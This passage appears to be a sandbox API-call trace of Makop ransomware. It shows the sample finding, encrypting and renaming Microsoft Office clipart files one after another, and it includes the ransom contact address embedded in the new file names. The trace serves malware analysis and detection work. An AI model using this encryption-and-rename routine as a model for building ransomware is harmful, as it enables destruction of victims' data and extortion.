[0135.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.409] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.409] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x107ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x107ec, lpOverlapped=0x0) returned 1 [0135.412] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x107f0, dwBufLen=0x107f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x107f0) returned 1 [0135.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x107f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x107f0, lpOverlapped=0x0) returned 1 [0135.413] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x108c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.413] SetEndOfFile (hFile=0xf0) returned 1 [0135.422] GetProcessHeap () returned 0x48a0000 [0135.422] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.422] GetProcessHeap () returned 0x48a0000 [0135.422] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.422] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.424] CloseHandle (hObject=0xf0) returned 1 [0135.424] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0135.424] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF") returned 63 [0135.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.425] GetProcessHeap () returned 0x48a0000 [0135.425] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.425] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0135.429] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.429] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.429] GetProcessHeap () returned 0x48a0000 [0135.429] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.430] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.430] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.430] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.430] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.431] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.431] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.431] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x59ce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x59ce, lpOverlapped=0x0) returned 1 [0135.434] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59d0, dwBufLen=0x59d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59d0) returned 1 [0135.434] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.434] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x59d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x59d0, lpOverlapped=0x0) returned 1 [0135.434] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.435] SetEndOfFile (hFile=0xf0) returned 1 [0135.442] GetProcessHeap () returned 0x48a0000 [0135.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.442] GetProcessHeap () returned 0x48a0000 [0135.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.442] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.444] CloseHandle (hObject=0xf0) returned 1 [0135.444] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0135.444] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF") returned 63 [0135.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.445] GetProcessHeap () returned 0x48a0000 [0135.445] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.445] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.445] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.445] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0135.449] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.449] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.449] GetProcessHeap () returned 0x48a0000 [0135.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.449] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.449] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.450] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.451] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.451] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d24, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3d24, lpOverlapped=0x0) returned 1 [0135.452] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d30, dwBufLen=0x3d30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d30) returned 1 [0135.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d30, lpOverlapped=0x0) returned 1 [0135.453] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.453] SetEndOfFile (hFile=0xf0) returned 1 [0135.459] GetProcessHeap () returned 0x48a0000 [0135.459] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.459] GetProcessHeap () returned 0x48a0000 [0135.459] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.459] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.461] CloseHandle (hObject=0xf0) returned 1 [0135.461] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0135.461] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF") returned 63 [0135.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.463] GetProcessHeap () returned 0x48a0000 [0135.463] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.463] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0135.468] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.468] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.468] GetProcessHeap () returned 0x48a0000 [0135.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.468] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.469] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.470] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.470] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.470] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4236, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4236, lpOverlapped=0x0) returned 1 [0135.472] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4240, dwBufLen=0x4240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4240) returned 1 [0135.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.472] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4240, lpOverlapped=0x0) returned 1 [0135.472] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.472] SetEndOfFile (hFile=0xf0) returned 1 [0135.479] GetProcessHeap () returned 0x48a0000 [0135.479] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.479] GetProcessHeap () returned 0x48a0000 [0135.479] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.479] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.481] CloseHandle (hObject=0xf0) returned 1 [0135.481] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0135.481] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF") returned 63 [0135.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.482] GetProcessHeap () returned 0x48a0000 [0135.482] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.482] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.483] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.488] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.488] GetProcessHeap () returned 0x48a0000 [0135.488] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.488] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.488] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.488] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.488] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, 